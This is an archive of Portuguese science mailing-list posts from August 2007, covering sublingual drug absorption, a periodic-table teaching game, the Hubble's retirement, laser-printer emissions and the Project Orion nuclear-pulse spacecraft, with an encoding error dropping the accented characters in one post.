On 8/5/07, rmtakata <roberto.takata@bol.com.br> wrote:
> > Jogar uma bola a 100km/h de um carro a 100km/h: os
> > resultados<http://100nexos.com/arquivo/173>O que acontece se você
>
> O vídeo deste texto foi retirado do YT.

Obrigado, corrigir... curioso que ao colocar um quadro do vídeo agora,
o desenho deles está errado: o lançador de bolas está na horizontal.
Provavelmente para deixar o lanãmentp da bola mais claro (se fosse na
vertical, como ocorreu de fato, não veríamos a bola sendo lançada).

Abraços,

Mori


SUBJECT: Re: [ciencialist] Re: mastigar comprimidos
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/08/2007 01:43

Mestre:

Tenho problemas cardíacos: além de tomar um balde de 21 comprimidos por dia, quando ocorre a angina, dor no coração, coloco um comprimido de "dinitrato de isossorbida" e a dor passa.
É esse "nitrato" que, tomado com o viagra, é mortal.....

sds.,
silvio.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, August 05, 2007 10:07 PM
Subject: [ciencialist] Re: mastigar comprimidos


--- Em ciencialist@yahoogrupos.com.br, "Danniel Soares"
> Como funciona isso de comprimidos de se colocar sob a língua?

Na parte debaixo da língua há saída de glândulas salivares e, mais
importante, é uma região de mucosa bastante vascularizada e fina.

A presença abundante de saliva ajuda a dissolver cápsulas e a
solubilizar substâncias hidrossolúveis. E a mucosa fina e
vascularizada é propícia para a absorção de certas substâncias.

Os nutrientes alimentares de modo geral não são absorvidos de modo
significativo por essa região devido a vários fatores.

Os açúcares da bala e suco - principalmente sacarose - serão quebrados
no intestino delgado em glicose e frutose. Na boca inicia-se o
processo da quebra do amido em maltose - dissacarídeo composto de dois
resíduos de glicose. (A maltose será tb quebrada em glicose no
intestino delgado.)

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Tabua periodica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/08/2007 10:50

Quero montar átomos numa tábua. O mais próximo de minha idéia, onde achei algo parecido vasculhando a www, está em:
http://wardsci.com/product.asp_Q_pn_E_IG0002901_A_Atom+Building+Game
Quem quer ajudar a desenvolver isso?
As bolas de gude coloridas são de fácil obtenção.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp



SUBJECT: Re: [ciencialist] Tabua periodica
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 11:15

Nao sei pq quando li achei que era algo a ver com isso
http://theodoregray.com/PeriodicTable/

(mas nao tem)
Gostei da ideia do Leo, pena no link indicado a imagem do jogo estah
bem pequena.

Aqui
http://www.cpo.com/em_atombuilding.shtml
dah pra ver melhor.

Ateh
Luis Brudna


On 8/6/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Quero montar átomos numa tábua. O mais próximo de minha idéia, onde achei algo parecido vasculhando a www, está em:
> http://wardsci.com/product.asp_Q_pn_E_IG0002901_A_Atom+Building+Game
> Quem quer ajudar a desenvolver isso?
> As bolas de gude coloridas são de fácil obtenção.
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
>


SUBJECT: do Boletim Fapesp;
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 06/08/2007 11:21

Missão cumprida

06/08/2007

Por Fábio de Castro

Agência FAPESP - O Hubble vive os capítulos finais de uma história gloriosa. Em 2013 chegará ao fim a aventura do telescópio espacial que, lançado em 1990, mediu a idade do Universo, mostrou detalhes espetaculares e sem precedentes do espaço sideral, desencadeou diversas novas teorias e gerou mais de 7 mil artigos científicos.

Na avaliação do brasileiro Ivo Cláudio Busko, astrônomo da equipe responsável pelo Hubble no Space Telescope Science Institute (STScI), o telescópio não apenas cumpriu sua função como foi mais bem-sucedido do que o esperado.

"O balanço desses 17 anos é extremamente positivo. O retorno foi muito maior do que se podia imaginar na época do lançamento, porque o equipamento levou a descobertas totalmente inesperadas, trouxe muitas respostas e gerou novos problemas científicos", disse Busko à Agência FAPESP.

Busko acompanhou o lançamento do Hubble em 1990, quando fazia pós-doutorado no STScI, com apoio da FAPESP. De volta ao Brasil, integrou o Instituto Nacional de Pesquisas Espaciais (Inpe). Em 1995, retornou aos Estados Unidos, contratado pelo STScI. Atualmente, trabalha na construção do telescópio espacial James Webb (JWST, na sigla em inglês), que será lançado em 2011 para substituir o Hubble

De acordo com Busko, a vida útil do Hubble será prolongada por cinco anos a mais do que o previsto inicialmente, graças à quinta missão tripulada de manutenção e atualização, que deverá ser realizada em dezembro de 2008. "Cinco anos depois, o Hubble deverá ser desativado definitivamente", disse.

O pesquisador explicou que o Hubble requer missões tripuladas periódicas para substituir componentes que têm vida útil determinada, como giroscópios, baterias e painéis solares e para substituir os instrumentos científicos por outros mais modernos.

"Além disso, é preciso reerguer o telescópio para uma órbita mais alta, uma vez que ele desce continuamente devido ao arrasto da atmosfera, ainda apreciável na altitude relativamente baixa em que fica, a 600 quilômetros da Terra", disse.

Busko lembra que o próprio ônibus espacial será removido de serviço. Com isso, o Hubble estará naturalmente condenado, pois deixará de contar com um veículo para que suas manutenções sejam realizadas. "A última missão do ônibus acoplará ao telescópio um módulo robótico de de orbitagem, que fará com que ele caia em um local específico do mar, em 2013."

Segundo o astrônomo, um instrumento como o Hubble é projetado tendo em vista os problemas científicos do momento. Depois de certo tempo de uso, o retorno é cada vez menor, justificando sua desativação. "A operação se torna cara demais para ser mantida. E os problemas científicos, inclusive graças ao próprio Hubble, mudaram bastante nesses anos."

Em seus 17 anos, o Hubble fez cerca de 800 mil observações e acumulou meio milhão de imagens de mais de 25 mil objetos celestes. O equipamento realizou cerca de 100 mil viagens em torno da Terra, percorrendo cerca de 3,8 milhões de quilômetros - a distância equivalente a uma viagem de ida e volta a Saturno. Foram produzidos mais de 30 terabytes (trilhões de bytes) de dados.

"É difícil mencionar as principais contribuições do Hubble à ciência, porque foram muitas. Uma elas foi confirmar a evidência da existência de energia escura. Já se sabia que a expansão do Universo estava em aceleração, mas ele permitiu calcular o valor dessa aceleração", disse Busko.

O Hubble enviou à Terra imagens inéditas do Sistema Solar, de estrelas distantes e de galáxias formadas logo após o Big Bang. Por sua vez, o JWST é destinado a novos problemas científicos e deverá ser capaz de investigar o espaço muito mais profundamente e talvez observar o próprio nascimento do Universo.

"Esse tipo de questão é mais bem abordado por meio da região infravermelha do espectro eletromagnético. Ao contrário do Hubble, que é voltado para a luz visível e para o ultravioleta, o JWST é otimizado para o infravermelho, de forma a enxergar imensas distâncias e passados longínquos", explicou Busko.

Uma das condições para funcionamento do JWST é que o telescópio seja posicionado o mais longe possível da Terra e da Lua, que são fontes de infravermelho fortes e que prejudicariam as observações. "Por isso, o JWST ficará em um dos chamados pontos lagrangianos do sistema Terra-Lua-Sol, cuja distância da Terra é semelhante à distância da própria Lua. Em outras palavras, estará totalmente fora do alcance de qualquer espaçonave tripulada projetada para as próximas décadas", disse.

Como o novo telescópio não contará com viagens posteriores de manutenção, como o Hubble, ele precisará ser completamente autônomo, contendo todos os elementos necessários para que se autoconserte a partir de comando remoto. "O projeto é todo robótico, redundante, móvel e posicionável", disse.

Segundo o professor, o JWST será lançado pelo foguete europeu Ariane 5 e deverá ter uma vida útil de dez anos. O telescópio é o primeiro de uma nova geração de observatórios espaciais feitos para órbitas a mais de 1 milhão de quilômetros da Terra. Ele terá alcance maior do que todas as observações feitas até hoje.

O novo telescópio custará cerca de US$ 4,5 bilhões, incluindo desenvolvimento, lançamento e operação. Só a missão a ser lançada em dezembro de 2008 consumirá cerca de US$ 900 milhões. O Hubble custou entre US$ 7 bilhões e US$ 8 bilhões.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Tabua periodica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/08/2007 11:37

Ótimo Brudna, a partir desse seu link obtive figura e detalhes do jogo em

http://www.cpo.com/pdf/SC_ABINV.pdf
e
http://www.cpo.com/pdf/SC_ABTEACH.pdf

acho que vale a pena traduzir isso tudo.
Isso pode ser adaptado à realidade brasileira, com outros propósitos (montar átomos, Linus-Pauling etc.), poderia ir para o Imperdível, sem ferir direitos autorais (o link original, inclusive, sendo citado) ... estudar melhor essa idéia ...

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Luis Brudna" <luisbrudna@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 6 de agosto de 2007 11:15
Assunto: Re: [ciencialist] Tabua periodica


Nao sei pq quando li achei que era algo a ver com isso
http://theodoregray.com/PeriodicTable/

(mas nao tem)
Gostei da ideia do Leo, pena no link indicado a imagem do jogo estah
bem pequena.

Aqui
http://www.cpo.com/em_atombuilding.shtml
dah pra ver melhor.

Ateh
Luis Brudna


On 8/6/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
>
>
>
>
>
>
> Quero montar átomos numa tábua. O mais próximo de minha idéia, onde achei algo parecido vasculhando a www, está em:
> http://wardsci.com/product.asp_Q_pn_E_IG0002901_A_Atom+Building+Game
> Quem quer ajudar a desenvolver isso?
> As bolas de gude coloridas são de fácil obtenção.
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
>



SUBJECT: Re: [ciencialist] Re: mastigar comprimidos
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 11:40

Existem várias razões para não se mastigar um comprimido e eu tenho minhas
dúvidas sobre o medicamento é realmente absorvido embaixo da língua... a
mucosa bucal é até onde eu sei, um tecido semelhante à pele (epitelial),
queratinada e portanto beem impermeável (mas eu vou pesquisar mais a
respeito para verificar e se eu estiver errado eu aviso!).

Até onde eu sei, não se deve mastigar remédios porque alguns comprimidos
tem uma capa química para o medicamento não ser destruídio no estômago ou
não irritar o esôfago e romper essa capa não é uma boa idéia ou então
porque, ao mastigar vc pulveriza o comprimido e aumenta a superfície de
reação do medicamento, a absorção é muito rápida e gera um pico de
concentração na corrente sangüínea (quando este é o veículo) o que, para
alguns medicamentos, é "Muito Ruim!(r)".

Acho que o negócio de manter embaixo da língua é mais porque é difícil
morder algo embaixo da língua do que em cima da língua e o remédio não é pra
ser engolido, é para ser dissolvido na saliva (antiácido geralmente é
assim).

[]s
Shridhar
http://entropicando.blogspot.com

On 8/6/07, SILVIO CORDEIRO <scordeiroes@superig.com.br> wrote:
>
> Mestre:
>
> Tenho problemas cardíacos: além de tomar um balde de 21 comprimidos por
> dia, quando ocorre a angina, dor no coração, coloco um comprimido de
> "dinitrato de isossorbida" e a dor passa.
> É esse "nitrato" que, tomado com o viagra, é mortal.....
>
> sds.,
> silvio.
> ----- Original Message -----
> From: rmtakata
> To: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Sent: Sunday, August 05, 2007 10:07 PM
> Subject: [ciencialist] Re: mastigar comprimidos
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Danniel Soares"
> > Como funciona isso de comprimidos de se colocar sob a língua?
>
> Na parte debaixo da língua há saída de glândulas salivares e, mais
> importante, é uma região de mucosa bastante vascularizada e fina.
>
> A presença abundante de saliva ajuda a dissolver cápsulas e a
> solubilizar substâncias hidrossolúveis. E a mucosa fina e
> vascularizada é propícia para a absorção de certas substâncias.
>
> Os nutrientes alimentares de modo geral não são absorvidos de modo
> significativo por essa região devido a vários fatores.
>
> Os açúcares da bala e suco - principalmente sacarose - serão quebrados
> no intestino delgado em glicose e frutose. Na boca inicia-se o
> processo da quebra do amido em maltose - dissacarídeo composto de dois
> resíduos de glicose. (A maltose será tb quebrada em glicose no
> intestino delgado.)
>
> []s,
>
> Roberto Takata
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: mastigar comprimidos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 12:16

--- Em ciencialist@yahoogrupos.com.br, "Shridhar Jayanthi"
> mucosa bucal é até onde eu sei, um tecido semelhante à pele
> (epitelial), queratinada e portanto beem impermeável (mas eu vou

Mucosa é bem diferente de pele, ainda q ambos sejam tecidos
epiteliais. O grau de queratinização da pele é muito superior ao da
mucosa bucal - e ainda assim algumas substâncias podem ser absorvidas
pela pele íntegra.

"The epithelium of the movable mucosa (which makes up the cheeks,
inner aspects of the lips, ventral surface of the tongue, floor of the
mouth and soft palate) is not keratinized, in contrast to the dorsal
tongue, hard palate and gingiva."
http://doctor.medscape.com/viewarticle/472915_1

"A. Oral mucosa - stratified squamous non-keratinized epithelium
resting on an irregular c.t. lamina propria."
http://www.llu.edu/llu/medicine/anatomy/glossary/syllabus/oral.html

[]s,

Roberto Takata




SUBJECT: Re: [ciencialist] Re: mastigar comprimidos
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 12:37

É. Esse artigo[http://en.wikipedia.org/wiki/Sublingual] da Wikipedia explica
bem essa forma de absorção, que eu realmente não conhecia... Achei depois
que mandei o e-mail :-P

Shridhar
http://entropicando.blogspot.com

On 8/6/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Shridhar Jayanthi"
> > mucosa bucal é até onde eu sei, um tecido semelhante à pele
> > (epitelial), queratinada e portanto beem impermeável (mas eu vou
>
> Mucosa é bem diferente de pele, ainda q ambos sejam tecidos
> epiteliais. O grau de queratinização da pele é muito superior ao da
> mucosa bucal - e ainda assim algumas substâncias podem ser absorvidas
> pela pele íntegra.
>
> "The epithelium of the movable mucosa (which makes up the cheeks,
> inner aspects of the lips, ventral surface of the tongue, floor of the
> mouth and soft palate) is not keratinized, in contrast to the dorsal
> tongue, hard palate and gingiva."
> http://doctor.medscape.com/viewarticle/472915_1
>
> "A. Oral mucosa - stratified squamous non-keratinized epithelium
> resting on an irregular c.t. lamina propria."
> http://www.llu.edu/llu/medicine/anatomy/glossary/syllabus/oral.html
>
> []s,
>
> Roberto Takata
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Impressoras a laser fazem tão mal quanto cigarro
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 16:19

É vero?..


*Impressoras a laser fazem tão mal quanto cigarro
*02/08/2007 22:06

Emissões de impressoras laser fazem tão mal à saúde quanto cigarros, de
acordo com uma professora australiana. Funcionários que respiram aliviados
nos EUA e no Reino Unido desde que o fumo foi proibido em locais públicos
têm novos motivos para se preocupar, segundo a pesquisa do professora de
física Lidia Morawska, da Universidade de Queensland.

O toner de uma impressora laser lança partículas no ar que podem causar
problemas respiratórios e cardiovasculares em longo prazo, de acordo com o
time de Morawska e especialistas em partículas atmosféricas. 64 modelos de
impressora laser foram testados, e 17 deles são 'grandes emissores' de
partículas dos toners. As fotocopiadoras, ao contrário, não emitem as
partículas, mesmo usando basicamente a mesma tecnologia.

Segundo o jornal The Sydney Morning Herald, as partículas não foram
quimicamente testadas, mas algumas são agentes cancerígenos. A descoberta da
emissão das partículas foi feita por acaso, quando outra pesquisa descobriu
que escritórios tinham até cinco vezes mais poluentes no ar do que vias
públicas.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] Roedoras com olfato alterado se comportam como machos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 16:41

http://www1.folha.uol.com.br/folha/ciencia/ult306u317992.shtml
=============
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Tabua periodica
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 16:54

Oi Léo. Qual seu objetivo em montar tal aparato? Talvez eu possa colaborar. Um abraço! Emiliano

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu: Quero montar átomos numa tábua. O mais próximo de minha idéia, onde achei algo parecido vasculhando a www, está em:
http://wardsci.com/product.asp_Q_pn_E_IG0002901_A_Atom+Building+Game
Quem quer ajudar a desenvolver isso?
As bolas de gude coloridas são de fácil obtenção.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp





Alertas do Yahoo! Mail em seu celular. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: (Murilo) Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 17:20

Olá, Murilo.

> Não sabia que a masculinidade está com problemas...

Você não vê a crise da masculinidade? O homem acabou. O que é ser
homem, para você, nos dias de hoje?

> e vou seguir sem saber, pq seu link não deu acesso ao texto.
> Acabei ficando curioso.

As vezes o Geocities dá problemas. Eles põem restrições quanto ao
número de pessoas por hora que acessam uma página. Tente de novo. O
link está aqui:

http://geocities.com/novaordem2003/novaordem.htm

Saudações.
João de Carvalho




SUBJECT: Re: [ciencialist] (Murilo) Em busca de uma nova ordem
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 18:46

Olhei o site. Tah estranho isso. Tem muita cara de papagaiada pos-moderna.

Posso estar enganado. :-)

Ateh
Luis Brudna



On 8/6/07, Joao de Carvalho <joaobncarvalho@hotmail.com> wrote:
>
>
>
> Olá, Murilo.
>
> > Não sabia que a masculinidade está com problemas...
>
> Você não vê a crise da masculinidade? O homem acabou. O que é ser
> homem, para você, nos dias de hoje?
>
> > e vou seguir sem saber, pq seu link não deu acesso ao texto.
> > Acabei ficando curioso.
>
> As vezes o Geocities dá problemas. Eles põem restrições quanto ao
> número de pessoas por hora que acessam uma página. Tente de novo. O
> link está aqui:
>
> http://geocities.com/novaordem2003/novaordem.htm
>
> Saudações.
> João de Carvalho
>


SUBJECT: Re: (Luis) Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/08/2007 19:50

Caro Luis:

> Olhei o site. Tah estranho isso. Tem muita cara de papagaiada pos-
moderna.

Não é papagaiada pós-moderna. Muito pelo contrário, é o oposto disso.
Eu costumo dizer, na ausência de um termo melhor, que é uma linha de
pensamento pós-pós-moderna. Logo no início do livro, no primeiro
capítulo, eu me dedico a atacar o pós-modernismo, mostrando o quão
decadente ele é. Para mim esta linha de pensamento representa o fim
da filosofia. Uma nova linha, no entanto, fundamentada na ciência, no
conhecimento seguro, está nascendo. O livro segue essa linha.

Saudações.
João de Carvalho





SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100km/h
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/08/2007 21:36

A velocidade de lançamento da bola menor que a do carro é uma possibilidade
já aventada, mas isso de modo algum elimina o empuxo de arraste provocado no
ar pelo carro, na mesma direção em que a bola se desloca.

[]s

José Renato
.....................................

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 6:36 PM
Subject: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h


De: "rmtakata" <roberto.takata@bol.com.br>
> 1.2 - o módulo da velocidade de lançamento da bola (em relação ao
> carro) não coincide exatamente com o da velocidade do carro (em
> relação ao solo), é ligeiramente maior;

>> Aliás, o módulo da Vbola/carro é ligeriamente menor do q o módulo da
Vcarro/solo. <<

Exatamente a minha proposta para justificar o movimento da bola após seu
'lançamento' (que na verdade, para o solo, é mais uma 'abandono'). Para o
solo, a velocidade da bola (após o 'abandono') é:

V bola/solo = |V bola/carro| - |Vcarro/solo| > 0

Com essa velocidade horizontal inicial ela descreverá os arcos de parábola
já analisados. A simetria dos arcos denota a negligenciável ação de arraste
pelo 'vácuo' entre as quicadas e as possíveis rotações da bola. Se
tivéssemos uma parte do filme vista pelo lançador de bolas (para registrar o
plano de movimento da bola) saberíamos se houve ou não desvios de Coriolis,
tirando a bola desse plano vertical.

[]'
Léo




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SUBJECT: Colonizando o Universo com bombas nucleares
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>, otrasinteligencias@yahoogroups.com, Rosario_Watchers@gruposyahoo.com.ar
DATE: 07/08/2007 04:52

Colonizando o Universo com bombas nucleares<http://100nexos.com/arquivo/235>

<http://homepage.mac.com/joebergeron/orion.htm>
De todos os sonhos dos anos dourados do s�culo XX, em que carros voadores
cruzavam os c�us de utopias tecnol�gicas, um deles tinha chances muito
concretas de se tornar realidade quase que exatamente como imaginado em
hist�rias em quadrinhos. Pouco depois de pisar na Lua, estar�amos pisando em
Marte, visitando Saturno, os sat�lites de J�piter e indo at� Plut�o, tudo em
gigantescas espa�onaves de centenas de metros de tamanho, milhares de
toneladas e centenas de astronautas. Col�nias gigantescas permanentes seriam
estabelecidas em outros planetas e at� Pr�xima Centauri estaria a nosso
alcance. Tudo isso seria poss�vel gra�as um projeto: *Orion*.
Repleto de extremos e beleza po�tica, o projeto nasceu no c�rebro de um dos
primeiros homens a conceber a mais destrutiva arma j� criada pelo homem.
Stanislaw Ulam, que junto com Teller criou o conceito que permitiu as
primeiras bombas termonucleares de fus�o, inventou pouco antes em 1947 o
conceito de "propuls�o por pulsos nucleares". Ele consideraria esta a sua
maior inven��o.
Praticamente desde o in�cio do s�culo XX, f�sicos notaram como as energias
envolvidas em rea��es nucleares eram estupendamente maiores do que em
rea��es qu�micas, e passaram as d�cadas seguintes tentando domin�-la. Com a
bomba at�mica, finalmente conseguiram liberar tal energia de forma
avassaladora. Se apenas tal energia pudesse ser aplicada de forma ben�fica�
Ulam imaginou que atrav�s de uma s�rie de pequenas explos�es nucleares
controladas, um foguete poderia efetivamente ser lan�ado ao espa�o, pulso
por pulso. O desenvolvimento de tal conceito � cujo manuscrito original
continua classificado como secreto pelo governo americano � tomaria forma
anos depois como o projeto Orion.
A id�ia b�sica n�o � nada complexa: exploda uma pequena bomba nuclear e
tenha um disco resistente para receber impulso direto da explos�o, acoplado
a um sistema de amortecimento para absorver o choque e n�o estra�alhar o
resto do foguete. Repita o processo a cada segundo. Mas poderia uma id�ia
t�o simples realmente funcionar? Os cientistas do projeto Orion conseguiram
vencer o ceticismo inicial com testes muito pr�ticos:
Assista ao v�deo <http://100nexos.com/arquivo/235>

Os testes foram conduzidos com explosivos convencionais, qu�micos, mas
demonstraram ser um feito de engenharia poss�vel. E, ao contr�rio de quase
tudo na hist�ria da conquista espacial, toda a t�cnica e engenharia
conspirava para o sucesso do projeto.
Na mesma �poca, os militares americanos haviam desenvolvido bombas nucleares
pequenas, incluindo bombas at�micas que podiam ser lan�adas de canh�es. No
projeto Orion, a espa�onave teria milhares de pequenas bombas nucleares
dessa natureza, devidamente armazenadas como se fossem garrafas de
refrigerante, aguardando serem lan�adas uma a uma por um sistema inspirado
nas f�bricas de engarrafamento da Coca-Cola (!).
E o enorme impulso produzido pelas explos�es s� podia implicar em um tipo de
foguete praticamente vi�vel: um foguete gigantescamente maci�o. Ao contr�rio
dos foguetes que conhecemos, constru�dos para ter o m�nimo de massa e no
limite de sua resist�ncia, quanto mais massa os foguetes Orion tivessem,
melhor lidariam com tais impulsos, traduzindo-os em acelera��es mais seguras
a fr�geis seres humanos. As naves do projeto foram projetadas tendo em vista
submarinos, de a�o, e n�o aeronaves, de ligas leves. Sua massa girava sempre
em torno das milhares de toneladas. Tal massa tamb�m seria essencial como um
escudo para a radia��o c�smica e a produzida pelas explos�es nucleares da
propuls�o. As espa�onaves gigantes de hist�rias em quadrinhos subitamente se
tornavam uma solu��o de engenharia, e n�o um problema.
A alta efici�ncia e empuxo da propuls�o tamb�m permitiria alcan�ar
velocidades praticamente imposs�veis a foguetes qu�micos, tornando viagens
de ida e volta a Plut�o e mesmo a estrelas pr�ximas, a fra��es da velocidade
da luz, projetos plaus�veis. Tais c�lculos chegaram a ser feitos no projeto.
Uma a uma, todas as dificuldades t�cnicas foram sendo solucionadas. E os
militares ficaram empolgad�ssimos com tudo, dispostos a jogar recursos sem
fim para seu sucesso. O que acabou sendo um dos motivos para seu fim.
Iniciado em 1958, por volta do in�cio dos anos 1960, quando estava chegando
� maturidade, a pol�tica do mundo real alcan�ou o projeto Orion e seus
"efeitos colaterais". Nem tudo era um sonho de quadrinhos. Ao detonar tantas
bombas nucleares, ainda que pequenas, um foguete do projeto Orion liberava
res�duos radioativos em abund�ncia na atmosfera. C�lculos sugeriram que,
estatisticamente, tal aumento de radia��o na atmosfera poderia matar at� dez
pessoas por c�ncer. tantas explos�es nucleares tamb�m gerariam pulsos
eletromagn�ticos que afetariam equipamentos em terra em um raio de centenas
de quil�metros, e tamb�m sat�lites no espa�o. Que os militares tenham criado
um modelo de espa�onave gigante repleta de lan�adores de m�sseis at�micos e
o exibido orgulhosos para John Kennedy tamb�m n�o ajudou em nada. Kennedy
havia acabado de passar pela crise dos m�sseis de Cuba, e uma corrida com
encoura�ados at�micos no espa�o era a �ltima coisa de que precisava. Ao
final, o tratado banindo a realiza��o de testes nucleares na atmosfera
acabou por selar o fim do projeto Orion em 1963.
Mesmo hoje, a propuls�o por pulsos nucleares permanece a melhor tecnologia
concebida para a viagem espacial. Ela n�o � a �nica forma de aplicar a
energia do �tomo para viajar pelo c�u, mas � a �nica que combina uma alta
efici�ncia com um alto empuxo. Motores i�nicos, ou outros tipos de motores
nucleares t�m uma boa efici�ncia, mas geram pouco empuxo. Nossos conhecidos
motores qu�micos podem ter enorme empuxo, mas a efici�ncias baix�ssimas. �
praticamente imposs�vel sair da �rbita terrestre com apenas um est�gio de
foguetes qu�micos � mas isso seria poss�vel com um foguete Orion,
Pode parecer paradoxal que bombas nucleares possam significar tanto o fim de
nossa esp�cie atrav�s de um Armagedon de bombas intercontinentais, ou a
garantia de nosso futuro, por foguetes nucleares interplanet�rios. Mas isso
apenas sublinha o car�ter essencial da ci�ncia e tecnologia, que � acumular
conhecimento sobre o mundo e encontrar meios de aplic�-lo. Se e como iremos
aplic�-lo, � algo a cargo de outros sistemas criados pelo homem. At� o
momento, ainda n�o nos aniquilamos, mas tamb�m n�o demos o passo de aud�cia
que poderia nos levar "aonde nenhum homem jamais esteve".
Assista ao v�deo <http://100nexos.com/arquivo/235>

Acima: excerto do �timo document�rio da BBC, "To Mars by
A-Bomb<http://www.bbc.co.uk/bbcfour/documentaries/features/mars-a-bomb.shtml>",
enviado ao Youtube por este que escreve aqui. A refer�ncia sobre o projeto
Orion � o livro "Project Orion: The True Story of the Atomic
Spaceship<http://www.amazon.com/Project-Orion-Story-Atomic-Spaceship/dp/0805059857>",
de George Dyson, filho de Freeman Dyson, o f�sico mais destacado do projeto
(famoso por unificar a QED, especular sobre os avan�os tecnol�gicos e
promover id�ias sobre a coexist�ncia da ci�ncia e religi�o).
A entrada da Wikipedia em ingl�s sobre o
tema<http://en.wikipedia.org/wiki/Project_Orion_%28nuclear_propulsion%29>�
um bom sum�rio, e para um texto mais detalhado dispon�vel
gratuitamente na
rede, h� "Project Orion: Its Life, Death, and Possible
Rebirth<http://www.freerepublic.com/focus/news/672974/posts>",
que lista uma enorme s�rie de links e refer�ncias.

*Veja tamb�m:*
Miss �tomo 2007 <http://100nexos.com/arquivo/211> Vinte anos depois de
Chernobyl, a R�ssia n...
O dedo m�dio de Galileu <http://100nexos.com/arquivo/210> "� uma grande
ironia, esse dedo. Venerado,...
Todos os v�deos de Bin Laden s�o falsos <http://100nexos.com/arquivo/72>No
fabuloso filme "O Sobrevivente", o atual govern...
Converg�ncia - I <http://100nexos.com/arquivo/215> "� evidente que pensam
ser a miss�o...
CeticismoAberto.com atualizado 03/04/2007
<http://100nexos.com/arquivo/117>UFOLOGIA
Martin Kottmeyer"Gauche Encounters": ...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: (Luis) Em busca de uma nova ordem
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/08/2007 09:21

Não dá para falar em conhecimento seguro, em se tratando de sociedades,
João.

Sugestões de leitura:
http://stangoff.com/?p=186
http://www.truthdig.com/dig/item/200601003_white_supremacism_sexism_militarism/

GiL


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: (Luis) Em busca de uma nova ordem
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/08/2007 11:08

Caro João,



Poderia informar o link para acesso ao seu livro?



Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Joao de Carvalho
